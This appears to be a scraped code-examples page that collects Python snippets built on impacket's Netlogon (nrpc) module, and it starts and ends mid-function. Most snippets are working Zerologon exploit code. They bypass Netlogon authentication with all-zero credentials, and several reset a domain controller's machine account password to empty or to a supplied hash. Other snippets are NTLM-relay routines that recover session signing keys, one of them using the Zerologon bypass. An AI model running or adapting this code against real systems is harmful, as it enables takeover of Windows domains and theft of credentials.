            if str(e).find("STATUS_DOWNGRADE_DETECTED") < 0:
                raise
Beispiel #22
0
def authenticate(user):
    Client_Challenge = bytes(random.getrandbits(8) for i in range(8))
    status = nrpc.hNetrServerReqChallenge(user.rpc, NULL,
                                          user.computer_name + '\x00',
                                          Client_Challenge)
    if (status == None or status['ErrorCode'] != 0):
        fail(f'Error NetrServerReqChallenge')
    else:
        Server_Challenge = status['ServerChallenge']
        print("Client_Challenge : ", Client_Challenge)
        print("Server_Challenge : ", Server_Challenge)
    SessionKey = nrpc.ComputeSessionKeyAES(
        user.account_password, Client_Challenge, Server_Challenge,
        bytearray.fromhex(user.account_password))
    user.SetSessionKey(SessionKey)
    print("Session_Key : ", SessionKey)
    Credential = nrpc.ComputeNetlogonCredentialAES(Client_Challenge,
                                                   SessionKey)
    print("Credential : ", Credential)
    negotiateFlags = 0x612fffff
    try:
        _ = nrpc.hNetrServerAuthenticate3(
            user.rpc, user.dc_name + '\x00', user.account_name + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            user.computer_name + '\x00', Credential, negotiateFlags)
        Authenticator = nrpc.ComputeNetlogonAuthenticator(
            Credential, SessionKey)
        user.SetAuthenticator(Authenticator)
        getCapabilities = nrpc.hNetrLogonGetCapabilities(
            user.rpc, user.dc_name, user.computer_name, Authenticator)
        serverCapabilities = getCapabilities["ServerCapabilities"]\
                                            ["ServerCapabilities"]
        user.UpdateAuthenticator(getCapabilities["ReturnAuthenticator"]\
                                             ["Credential"])
        print("Server Capabilities : " + str(serverCapabilities))
        print("Secure Channel is UP !")
        Menu(user)
    except Exception as e:
        fail(f'Unexpected error code from DC: {e}.')
Beispiel #23
0
def _try_zero_authenticate(zerologon_exploiter_object,
                           rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5:
    plaintext = b"\x00" * 8
    ciphertext = b"\x00" * 8
    flags = 0x212FFFFF

    # Send challenge and authentication request.
    nrpc.hNetrServerReqChallenge(
        rpc_con,
        zerologon_exploiter_object.dc_handle + "\x00",
        zerologon_exploiter_object.dc_name + "\x00",
        plaintext,
    )

    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con,
            zerologon_exploiter_object.dc_handle + "\x00",
            zerologon_exploiter_object.dc_name + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            zerologon_exploiter_object.dc_name + "\x00",
            ciphertext,
            flags,
        )

        assert server_auth["ErrorCode"] == 0
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        if (
                ex.get_error_code() == 0xC0000022
        ):  # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
            pass
        else:
            raise Exception(f"Unexpected error code: {ex.get_error_code()}.")

    except BaseException as ex:
        raise Exception(f"Unexpected error: {ex}.")
Beispiel #24
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Creamos una conexión con el protocolo NetLogon del AD
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Inicializamos variables con el nonce del challenge y la session key (ambas todo 0's)
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Flag que desactiva la opción de usar RPC seguro cuando bypasseamos la autenticación (sign and seal)
    flags = 0x212fffff

    # Enviamos una petición de Challenge enviando como nonce todo 0's
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                 target_computer + '\x00', plaintext)
    try:
        #Intentamos autenticarnos con una llave de sesión constituida por todo 0's
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # Si hemos recibido un código de estado de 0x00000000 es que hemos logrado bypassear la autenticación, por lo que en el servidor la session key ha salido de todo 0's
        assert server_auth['ErrorCode'] == 0
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Si recibimos este código de error, no hemos conseguido bypassear la autenticación aún, pero seguimos intentándolo.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Error desconocido del DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Error desconocido: {ex}.')
Beispiel #25
0
 def serverAuthenticate(self):
     try:
         auth = nrpc.hNetrServerAuthenticate3(
             self.dce,
             self.primaryName,
             self.accountName,
             self.secureChannelType,
             self.computerName,
             self.clientCredential,
             self.negotiateFlags
         )
         assert auth['ErrorCode'] == 0
         self.logInfo('successfully authenticated')
         return True
     except nrpc.DCERPCSessionError as ex:
         self.dce = None
         if ex.get_error_code() == 0xc0000022:
             return None
         else:
             self.logFail(ex.get_error_code())
     except BaseException as ex:
         self.dce = None
         self.logFail(ex)
     self.dce = None
Beispiel #26
0
    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        print "[*] Connecting to %s NETLOGON service" % self.domainIp

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = ntlm.NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        _, machineAccount = self.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = ntlm.AV_PAIRS(av_pairs)

            serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode(
                'utf-16le')
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.machineHashes) > 0:
            lmhash, nthash = self.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName,
                                         lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                            '12345678')

        serverChallenge = resp['ServerChallenge']

        if self.machineHashes == '':
            ntHash = None
        else:
            ntHash = self.machineHashes.split(':')[1].decode('hex')

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678',
                                                     serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)

        resp = nrpc.hNetrServerAuthenticate3(
            dce, NULL, machineAccount + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + '\x00', ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
            clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = '\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except Exception, e:
            #import traceback
            #print traceback.print_exc()
            print "[!] %s " % e
            return e.get_error_code()
Beispiel #27
0
    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        domainName = authenticateMessage['domain_name'].decode('utf-16le')
        flags = authenticateMessage['flags']
        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = AV_PAIRS(av_pairs)

            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
        except:
            LOG.debug("Exception:", exc_info=True)
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        binding = epm.hept_map(self.target.netloc,
                               nrpc.MSRPC_UUID_NRPC,
                               protocol='ncacn_ip_tcp')

        dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        MAX_ATTEMPTS = 6000
        for attempt in range(0, MAX_ATTEMPTS):
            resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                                b'\x00' * 8)

            serverChallenge = resp['ServerChallenge']

            ppp = b'\x00' * 8
            try:
                nrpc.hNetrServerAuthenticate3(
                    dce, NULL, serverName + '$\x00',
                    nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                    serverName + '\x00', ppp, 0x212effef)
            except nrpc.DCERPCSessionError as ex:
                # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
                if ex.get_error_code() == 0xc0000022:
                    continue
                else:
                    LOG.error('Unexpected error code from DC: %d.',
                              ex.get_error_code())
            except BaseException as ex:
                LOG.error('Unexpected error: %s', str(ex))
            LOG.info(
                'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!',
                attempt)
            break
        else:
            LOG.error(
                'No success bypassing auth after 6000 attempts. Target likely patched!'
            )
            return
        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]
        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = lflags
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator[
            'Credential'] = b'\x00' * 8  #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 0

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except DCERPCException as e:
            LOG.debug('Exception:', exc_info=True)
            LOG.error(str(e))
            return e.get_error_code()

        LOG.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != '':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        LOG.info("NTLM Sign/seal key: %s " %
                 hexlify(signingKey).decode('utf-8'))
        if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
            self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(
                flags, signingKey, b"Server")
            self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(
                flags, signingKey, b"Server")
            # Preparing the keys handle states
            cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt
            cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)
            self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt
        else:
            # Same key for everything
            self.session._DCERPC_v5__clientSigningKey = signingKey
            self.session._DCERPC_v5__serverSigningKey = signingKey
            self.session._DCERPC_v5__clientSealingKey = signingKey
            self.session._DCERPC_v5__serverSealingKey = signingKey
            cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt
            self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt
        self.session._DCERPC_v5__sequence = 0
        self.session._DCERPC_v5__flags = flags
        return signingKey
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw):
    # 连接到DC的Netlogon服务。
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8
    flags = 0x212fffff

    # 发送challenge和证书请求包。
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        sessionKey = nrpc.ComputeSessionKeyAES(
            None, b'\x00' * 8, serverChallenge,
            unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
        print("session key", sessionKey)

        try:
            IV = b'\x00' * 16
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # 时间戳

            nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
            nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                              nrpc.NetrServerPasswordSetResponse)

            request = NetrServerPasswordSet()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            pwdata = impacket.crypto.SamEncryptNTLMHash(
                unhexlify(originalpw), sessionKey)
            request["UasNewPassword"] = pwdata
            resp = rpc_con.request(request)
            resp.dump()

        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'来自DC的意外错误代码: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'意外错误: {ex}.')
    def __try_zero_authenticate(self, originalpw=None):
        # Connect to the DC's Netlogon service.
        binding = epm.hept_map(self.ipaddress,
                               nrpc.MSRPC_UUID_NRPC,
                               protocol='ncacn_ip_tcp')
        rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
        rpc_con.connect()
        rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

        # Use an all-zero challenge and credential.
        plaintext = b'\x00' * 8
        ciphertext = b'\x00' * 8

        # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
        flags = 0x212fffff

        # Send challenge and authentication request.
        serverChallengeResp = nrpc.hNetrServerReqChallenge(
            rpc_con, self.dc_handle + '\x00', self.hostname + '\x00',
            plaintext)
        serverChallenge = serverChallengeResp['ServerChallenge']
        try:
            server_auth = nrpc.hNetrServerAuthenticate3(
                rpc_con, self.dc_handle + '\x00', self.hostname + '$\x00',
                nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                self.hostname + '\x00', ciphertext, flags)

            # It worked!
            assert server_auth['ErrorCode'] == 0
            if not originalpw:
                return rpc_con
            else:
                print()
                server_auth.dump()
                print("server challenge", serverChallenge)
                sessionKey = nrpc.ComputeSessionKeyAES(
                    None, b'\x00' * 8, serverChallenge,
                    unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
                print("session key", sessionKey)

                try:
                    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
                    authenticator[
                        'Credential'] = ciphertext  #authenticatorCred
                    authenticator[
                        'Timestamp'] = b"\x00" * 4  #0 # timestamp_var

                    nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
                    nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                                      nrpc.NetrServerPasswordSetResponse)

                    request = NetrServerPasswordSet()
                    request['PrimaryName'] = NULL
                    request['AccountName'] = self.hostname + '$\x00'
                    request[
                        'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
                    request['ComputerName'] = self.hostname + '\x00'
                    request["Authenticator"] = authenticator
                    pwdata = impacket.crypto.SamEncryptNTLMHash(
                        unhexlify(originalpw), sessionKey)
                    request["UasNewPassword"] = pwdata
                    resp = rpc_con.request(request)
                    resp.dump()

                except Exception as e:
                    print(e)
                return rpc_con

        except nrpc.DCERPCSessionError as ex:
            # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
            if ex.get_error_code() == 0xc0000022:
                return None
            else:
                fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
        except BaseException as ex:
            fail(f'Unexpected error: {ex}.')
Beispiel #30
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # 连接到DC的Netlogon服务。
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # 使用全零challenge和证书。
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Windows 10客户端观察到的标准标志(包括AES),只有签名/印章标志被禁用。
    flags = 0x212fffff

    # 发送challenge和证书请求包。
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)

        try:
            IV = b'\x00' * 16
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # 时间戳

            request = nrpc.NetrServerPasswordSet2()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            request["ClearNewPassword"] = b"\x00" * 516
            resp = rpc_con.request(request)
            resp.dump()

        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'来自DC的意外错误代码: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'意外错误: {ex}.')
Beispiel #31
0
    def netlogonSessionKey(self, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        logging.info("Connecting to %s NETLOGON service" %
                     self.serverConfig.domainIp)

        #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(authenticateMessageBlob)
        _, machineAccount = self.serverConfig.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            serverName = machineAccount[:len(machineAccount) - 1]
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.serverConfig.machineHashes) > 0:
            lmhash, nthash = self.serverConfig.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName,
                                         lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                            b'12345678')

        serverChallenge = resp['ServerChallenge']

        if self.serverConfig.machineHashes == '':
            ntHash = None
        else:
            ntHash = bytes.fromhex(
                self.serverConfig.machineHashes.split(':')[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678',
                                                     serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

        nrpc.hNetrServerAuthenticate3(
            dce, NULL, machineAccount + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + '\x00', ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = self.serverChallenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
            clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        # request.dump()
        try:
            resp = dce.request(request)
            # resp.dump()
        except DCERPCException as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            return e.get_error_code()

        logging.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != b'':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        logging.info("SMB Signing key: %s " % signingKey.hex())

        return STATUS_SUCCESS, signingKey
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        #sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("c9a22836bc33154d0821568c3e18e7ff")) # that ntlm is just a randomly generated machine hash from a lab VM, it's not sensitive
        #print("session key", sessionKey)

        try:
            IV = b'\x00' * 16
            #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
            #serverCred = Crypt1.encrypt(serverChallenge)
            #print("server cred", serverCred)
            #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #clientCred = clientCrypt.encrypt(b'\x00'*8)
            #print("client cred", clientCred)
            #timestamp_var = 10
            #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
            #print("client stored cred", clientStoredCred)
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
            #print("authenticator cred", authenticatorCred)
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # timestamp_var
            #request = nrpc.NetrLogonGetCapabilities()
            #request['ServerName'] = '\x00'*20
            #request['ComputerName'] = target_computer + '\x00'
            #request['Authenticator'] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            #request['QueryLevel'] = 1
            #resp = rpc_con.request(request)
            #resp.dump()

            request = nrpc.NetrServerPasswordSet2()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD()
            request["ClearNewPassword"]["Buffer"] = b'\x00' * 512
            request["ClearNewPassword"][
                "Length"] = 0  # It winds up being 516 bytes mentioned in the Secur whitepaper because this is 4 bytes
            resp = rpc_con.request(request)
            resp.dump()

            #request['PrimaryName'] = NULL
            #request['ComputerName'] = target_computer + '\x00'
            #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
            #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
            #resp = rpc_con.request(request)
            #resp.dump()
        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        #print(ex)
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #33
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw):
